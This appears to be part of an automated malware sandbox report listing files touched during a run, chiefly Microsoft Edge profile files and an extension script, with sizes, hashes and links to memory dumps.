SHA512 99ff24b013c3ac0960cf0b4c614d0296f7651cfe79e701b913e9bb1fa87bbc876351bbad55d982f28597f4f37a74f1c290f227082d17dbc41b875ef0a04c31b3
SSDEEP 768:gF1j+9w3cwgXDfSZ4v0PtZu4aWADIidy8Luxb9MMJl:t9w33tZzaNsuVL2b+K
TLSH
T16A1328F698D38A77D8AE4783A37E2E459DFCC163B4894984B7D85E4DCC820BFC206815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 0e1b93cd77caac9742b2d798211eea7929af4a6e5e23822c5c6954d0f057f275
MD5 2ec8e1a64d9890d4b4ea262ee6d4204d
SHA1 be9e3a679cfed1f33e4ccd8dcf76d582bfd84db1
SHA512 998bfdaacd9cbaccd05c024ed43694c97a1639d6af595108cf054c5039eaa0c62f49b53dd32e217abd80b877053d12ea7347bac3d4c847c512787edd5f7f548f
SSDEEP 768:Ij+903wDYSiBqobG0JtZu4aWADIidy8Luxb9MMJl:X903HtZzaNsuVL2b+K
TLSH
T19AF2BF75AC578E738CA66284B2873E46EEF452B385C90EC8D9EC9B4E04C35BD1316C1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 8c3ec31e3b6a918c76b88dc3733b64f2d08480c2f16941bcbd537e8b1660992e
MD5 8badf8fe3d8df1095b6b1c668520a435
SHA1 e2f9716600933007bb9984f3b8ad2899b1f0a90f
SHA512 30d1a5f308954f914280b5e1df850cbebdc648464b51bc5ba4c6f7b33863b0f399943d3a8ac89000bdd3af7d3893d8eb06e567c13cf97518b0c76327b8706cd0
SSDEEP 768:9rv+4UNbdC344NBqobGppZu4aWADIidy8LqOeVH1S1C:9bsbw3UpZzaNsuVLVEH1d
TLSH
T19503CF36A899CA779CF7A284B1877A077EF89163C6880BD488DD1B4E41DB4ED1307E17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 217f57bed63ad26dbb75371aca533eea3f99447a8ad72d78b33a39c0fdb0038c
MD5 7e411fbc2340bddf46ff46d5bccb3c20
SHA1 1db29b32b5a9ee9befa86d19607f6a286fb48036
SHA512 88232a9db31f5cd6397ebd4456fc7a877fe2fd17a9907334e3bef3a6bca978236b364cf24730217d982763e506e2e271fb046e4bd05818335120eec472369918
SSDEEP 768:erv+4UNbdC3/YSiBqobG04tZu4aWADIidy8LuxeVH1S1C:ebsbw3jtZzaNsuVL2EH1h
TLSH
T19E13CF72A869CE739CF76284B1873A47BEF8526384C90AD4D8D85B4E05C74ED231BD27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 801640146b1801c9fa597a89e87787e86f7a6411192931a66d07573fbe2ce3bc
MD5 42b793147fd90df5045b41bd76be3d6b
SHA1 fcf0b098ca27b380916254bfc672ff8a68c18ef1
SHA512 a67e4f68948057cd3f4956be4d7a198cd7454b66830ad31b17cc1f345de4467fec8d7adf624b343e73922a056a116e9bca307f987c7b30e7ec9dbda86f0a8a76
SSDEEP 768:wrv+4UNbdC3fSHBqobG01tZu4aWADIidy8LuxeVH1S1l:wbsbw3ItZzaNsuVL2EH1e
TLSH
T13C03BF75A869CE739CF7A284B1873A47BEF8516388890ED4D8D84B4E05C74ED131BD2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

b4e927fa-7938-4363-9185-715d7a0baea8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\b4e927fa-7938-4363-9185-715d7a0baea8.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4908_914915717\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/556-371-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1156-342-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1252-323-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1468-319-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2012-262-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2068-278-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2660-493-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2752-338-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2760-234-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3284-391-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3368-451-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3412-435-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3640-472-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3864-411-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4356-299-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4816-476-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5920-446-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5972-187-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6108-415-0x0000000000010000-0x0000000000083000-memory.dmp

Download